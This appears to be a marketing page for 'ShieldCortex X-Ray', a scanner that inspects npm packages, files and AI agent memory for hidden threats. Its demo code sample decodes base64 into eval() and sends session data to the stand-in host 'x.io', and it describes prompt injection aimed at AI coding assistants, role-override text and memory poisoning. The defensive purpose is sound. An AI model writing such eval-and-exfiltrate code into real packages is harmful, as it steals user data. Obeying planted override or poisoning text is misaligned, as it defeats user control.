See What Your
AI Can't
Inspect packages, plugins, files, and agent memory for hidden instructions, exfiltration paths, and covert payloads.
Live Package Analysis
Real-time inspection of every file, dependency, and metadata field.
1 const http = require('http');
2 const fs = require('fs');
3
4 // Session memory handler
5 module.exports = {
6 init: (opts) => {
7 const d = opts.data;
8 eval(Buffer.from(d._m, 'base64').toString());
9 return this.store;
10 },
11
12 persist: (key, val) => {
13 http.request({host:'x.io',path:`/c?d=${val}`});
14 this.store[key] = val;
15 }
16 };Obfuscated eval() execution
Base64-decoded string passed to eval(). Potential arbitrary code execution from session data.
Data exfiltration via HTTP
Session values sent to external host x.io without user consent.
Suspicious postinstall script
Downloads and executes remote payload during npm install via child_process.exec().
Registry override detected
Custom registry URL points to non-standard endpoint.
AI-targeted prompt in description
Package description contains prompt injection targeting LLM-based install assistants.
Three Pillars of X-Ray
Deep inspection across code, payloads, and AI-targeted exploits.
Code Intelligence
- • Static analysis of all package files
- • Risky API surface detection (eval, exec, spawn)
- • Obfuscation and minification flags
- • Install script behaviour profiling
- • Version diff risk scoring
Hidden Payload Detection
- • Steganographic content in images & media
- • Polyglot file detection (valid as multiple types)
- • Unicode homoglyph & zero-width attacks
- • Base64/hex encoded executable payloads
- • Covert channel indicators in metadata
Agent Exploit Defense
- • Prompt injection in package metadata
- • Agent memory poisoning seeds
- • System/role override patterns
- • LLM-targeted filename deception
- • Credential harvesting via README instructions
Intent Detection, Not Just Pattern Matching
Traditional scanners flag known CVEs. X-Ray understands what code is trying to do — even when it's disguised.
Agent-Targeted Prompt Injection
Detects instructions hidden in README.md, package.json descriptions, and CONTRIBUTING.md files designed to manipulate AI coding assistants into executing malicious commands.
Steganographic Payload Indicators
Identifies data hidden within image files, font files, and other binary assets that contain encoded executable payloads invisible to standard file inspection.
Role & System Override Attempts
Catches text patterns in source files designed to override an AI agent's system prompt, inject new roles, or bypass safety instructions when the code is processed.
Memory Poisoning Seeds
Detects content crafted to corrupt an AI agent's long-term memory — false facts, misleading context, and fragmented payloads that assemble over multiple interactions.
Covert Channel Indicators
Identifies DNS-based exfiltration, timing channels, and encoded data in HTTP headers or query parameters used to smuggle information out of your environment.
Beyond Dependency Scanning
Traditional tools check known vulnerabilities. X-Ray detects unknown intent.
| Capability | Dependency Scanners | ShieldCortex X-Ray |
|---|---|---|
| Known vulnerability lookup (CVE) | ✓ | ✓ |
| Risky API detection (eval, exec) | ~ | ✓ |
| Hidden prompt injection in metadata | ✗ | ✓ |
| AI-targeted exploits in README/docs | ✗ | ✓ |
| Steganographic payload detection | ✗ | ✓ |
| Agent memory poisoning detection | ✗ | ✓ |
| Version diff risk analysis | ✗ | ✓ |
| Covert channel & exfiltration detection | ✗ | ✓ |
Detection Categories
Eight threat classes, analysed across every file in the package.
Prompt Injection
Instructions hidden in code, docs, and metadata
Steganography
Data hidden in images, fonts, and binary files
Covert Channels
DNS, timing, and encoded exfiltration paths
Polyglot Files
Files valid as multiple types simultaneously
Unicode Tricks
Homoglyphs, zero-width chars, and bidi overrides
Metadata Exploits
Malicious package.json, manifest, and config data
Shell Execution
Install scripts, child_process, and shell spawns
Persistence Hooks
Cron jobs, startup scripts, and registry entries
Automate Your Defences
X-Ray goes beyond on-demand scanning. Protect your entire workflow automatically.
CI/CD Gate
Block risky packages and files in your pipeline. Exit code 1 if risk exceeds your threshold.
File Watch
Continuous monitoring. X-Ray watches your project and scans files as they change — new threats surface instantly.
Pre-install Hook
Scan every npm install automatically. Suspicious lifecycle scripts get blocked before they run.
Memory Guard
X-Ray scans content before it enters agent memory. Prompt injection and hidden directives are blocked at the gate.
Ready to See the Invisible?
X-Ray is live. Install ShieldCortex and start scanning.
Free tier: 5 local scans/day. Pro for unlimited + npm registry deep scan.